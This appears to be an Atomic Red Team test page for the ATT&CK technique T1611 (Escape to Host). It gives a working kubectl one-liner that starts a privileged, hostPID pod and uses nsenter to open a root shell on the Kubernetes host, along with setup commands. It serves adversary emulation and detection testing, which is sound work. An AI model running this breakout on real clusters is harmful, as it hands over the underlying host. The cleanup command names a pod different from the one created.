# T1611 - Escape to Host
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1611)
<blockquote>Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)

There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Deploy container using nsenter container escape](#atomic-test-1---deploy-container-using-nsenter-container-escape)


<br/>

## Atomic Test #1 - Deploy container using nsenter container escape
In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.com/mauilion/status/1129468485480751104
- https://securekubernetes.com/scenario_2_attack/

**Supported Platforms:** Containers


**auto_generated_guid:** 0b2f9520-a17a-4671-9dba-3bd034099fff






#### Attack Commands: Run with `sh`! 


```sh
kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
```

#### Cleanup Commands:
```sh
kubectl --context kind-atomic-cluster delete pod atomic-escape-pod
```



#### Dependencies:  Run with `sh`!
##### Description: Verify docker is installed.
##### Check Prereq Commands:
```sh
which docker
```
##### Get Prereq Commands:
```sh
if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi
```
##### Description: Verify docker service is running.
##### Check Prereq Commands:
```sh
sudo systemctl status docker
```
##### Get Prereq Commands:
```sh
sudo systemctl start docker
```
##### Description: Verify kind is in the path.
##### Check Prereq Commands:
```sh
which kind
```
##### Get Prereq Commands:
```sh
curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
chmod +x ./kind
mv kind /usr/bin/kind
```
##### Description: Verify kind-atomic-cluster is created
##### Check Prereq Commands:
```sh
sudo kind get clusters
```
##### Get Prereq Commands:
```sh
sudo kind create cluster --name atomic-cluster
```
##### Description: Verify kubectl is in path
##### Check Prereq Commands:
```sh
which kubectl
```
##### Get Prereq Commands:
```sh
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x ./kubectl
mv kubectl /usr/bin/kubectl
```




<br/>
